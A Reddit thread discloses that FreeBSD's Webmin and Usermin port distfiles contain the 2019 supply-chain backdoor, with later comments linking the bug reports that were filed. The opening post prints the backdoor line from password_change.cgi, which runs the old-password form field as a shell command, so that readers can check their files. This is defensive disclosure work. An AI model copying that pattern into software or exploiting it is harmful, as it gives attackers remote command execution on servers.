FreeBSD: Backdoored sysutils/webmin and sysutils/usermin distfiles
reddit / BSD

----------------------------------------------------------------------
TheGrandSchlonging · 2019-08-18 19:49

The Webmin and Usermin distfiles trusted by the FreeBSD
sysutils/webmin and sysutils/usermin ports (and likely used for
building binary packages) contain the [recently announced
backdoor](https://virtualmin.com/node/66890):

>I've rolled out Webmin version 1.930 and Usermin version 1.780 for
all repositories. This release includes several security fixes,
including one potentially serious one caused by malicious code
inserted into Webmin and Usermin at some point on our build
infrastructure. We're still investigating how and when, but the
exploitable code has never existed in our github repositories, so
we've rebuilt from git source on new infrastructure (and checked to be
sure the result does not contain the malicious code).

The backdoor is in `password_change.cgi` and fortunately requires a
non-default configuration to reach. You can confirm its presence in
the distfiles:

    ./usermin-1.750/password_change.cgi:    $enc eq $wuser->{'pass'}
|| &pass_error($text{'password_eold'},qx/$in{'old'}/);

    ./webmin-1.900/password_change.cgi:     $enc eq $wuser->{'pass'}
|| &pass_error($text{'password_eold'},qx/$in{'old'}/);

NetBSD's pkgsrc Webmin is unaffected (by accident through age), and
there's no pkgsrc Usermin. OpenBSD doesn't have Webmin or Usermin
ports/packages. I haven't checked Linux distributions.

This one isn't FreeBSD's fault. Obviously no guarantees can be made
about third-party software, and the Webmin team has handled this
incident horribly, failing to pull affected distribution files. The
backdoor has been present for a long time, and [what could be a
related qx/.../ backdooring
attempt](https://github.com/webmin/webmin/issues/947) from the same
malicious party over a year ago didn't sound any alarm bells, with the
developer obliviously commenting as follows:

>You're right, there was a local edit to that file on my packaging
system which was incorrect. Putting back the contents from the repo
should fix the problem.

----------------------------------------------------------------------
X-Istence · 2019-08-18 22:15

Sadly it looks like the webmin port hasn't seen any updates since
November 2018: [https://www.freshports.org/sysutils/webmin](https://ww
w.freshports.org/sysutils/webmin)

and the [https://www.freshports.org/sysutils/usermin](https://www.fres
hports.org/sysutils/usermin) port was last updated to a newer version
in February of 2019.

----------------------------------------------------------------------
X-Istence · 2019-08-18 22:19

I've filed the following bug reports:

[https://bugs.freebsd.org/bugzilla/show\_bug.cgi?id=239957](https://bu
gs.freebsd.org/bugzilla/show_bug.cgi?id=239957) (usermin)

[https://bugs.freebsd.org/bugzilla/show\_bug.cgi?id=239956](https://bu
gs.freebsd.org/bugzilla/show_bug.cgi?id=239956) (webmin)

----------------------------------------------------------------------
poshpotdllr · 2019-08-19 10:31

lol freebsd noobs haha